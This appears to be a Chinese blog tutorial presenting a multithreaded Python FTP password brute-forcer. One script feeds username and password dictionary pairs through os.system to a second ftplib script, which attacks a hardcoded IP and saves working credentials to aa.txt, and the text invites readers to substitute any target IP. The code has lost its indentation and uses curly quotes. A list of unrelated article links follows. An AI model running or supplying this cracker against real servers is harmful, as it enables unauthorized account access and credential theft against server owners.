python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
linux系统使用python获取cpu信息脚本分享
Jan 15 Python
python django 实现验证码的功能实例代码
May 18 Python
django 删除数据库表后重新同步的方法
May 27 Python
python 读取视频,处理后,实时计算帧数fps的方法
Jul 10 Python
利用Python将数值型特征进行离散化操作的方法
Nov 06 Python
Python 实现子类获取父类的类成员方法
Jan 11 Python
python实现图片压缩代码实例
Aug 12 Python
python 字符串常用函数详解
Sep 11 Python
浅谈Python中的生成器和迭代器
Jun 19 Python
Django REST Swagger实现指定api参数
Jul 07 Python
详解python爬取弹幕与数据分析
Nov 14 Python
Python 多进程原理及实现
Dec 21 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
php页面,mysql数据库转utf-8乱码,utf-8编码问题总结
2015/08/27 PHP
用户注册常用javascript代码
2009/08/29 Javascript
javascript各浏览器中option元素的表现差异
2011/04/07 Javascript
跟我学Nodejs(二)--- Node.js事件模块
2014/05/21 NodeJs
JavaScript获取URL汇总
2015/06/08 Javascript
JavaScript中字符串拼接的基本方法
2015/07/07 Javascript
js为什么不能正确处理小数运算?
2015/12/29 Javascript
AngularJS实现Model缓存的方式
2016/02/03 Javascript
jQuery实现的网格线绘制方法
2016/06/20 Javascript
Javascript 实现微信分享(QQ、朋友圈、分享给朋友)
2016/10/21 Javascript
AngularJS自定义指令之复制指令实现方法
2017/05/18 Javascript
javascript 作用于作用域链的详解
2017/09/27 Javascript
改变vue请求过来的数据中的某一项值的方法(详解)
2018/03/08 Javascript
vue实现底部菜单功能
2018/07/24 Javascript
JS中的函数与对象的创建方式
2019/05/12 Javascript
微信小程序调用wx.getImageInfo遇到的坑解决
2020/05/31 Javascript
python查询mysql中文乱码问题
2014/11/09 Python
python urllib urlopen()对象方法/代理的补充说明
2017/06/29 Python
Python3下错误AttributeError: ‘dict’ object has no attribute’iteritems‘的分析与解决
2017/07/06 Python
Python3生成手写体数字方法
2018/01/30 Python
Python中的元组介绍
2019/01/28 Python
python tools实现视频的每一帧提取并保存
2020/03/20 Python
PyQt5 如何让界面和逻辑分离的方法
2020/03/24 Python
完美解决pyinstaller打包报错找不到依赖pypiwin32或pywin32-ctypes的错误
2020/04/01 Python
Python requests模块session代码实例
2020/04/14 Python
python实现贪吃蛇双人大战
2020/04/18 Python
python requests.get带header
2020/05/05 Python
捷克母婴用品购物网站:Feedo.cz
2020/12/28 全球购物
C有"按引用传递"吗
2016/09/06 面试题
毕业生求职推荐信
2013/11/04 职场文书
护理专科毕业生自荐书范文
2014/02/19 职场文书
就业协议书的作用
2014/04/11 职场文书
实践单位评语
2014/04/26 职场文书
新教师培训心得体会
2014/09/02 职场文书
tensorflow学习笔记之tfrecord文件的生成与读取
2021/03/31 Python
Python 如何实现文件自动去重
2021/06/02 Python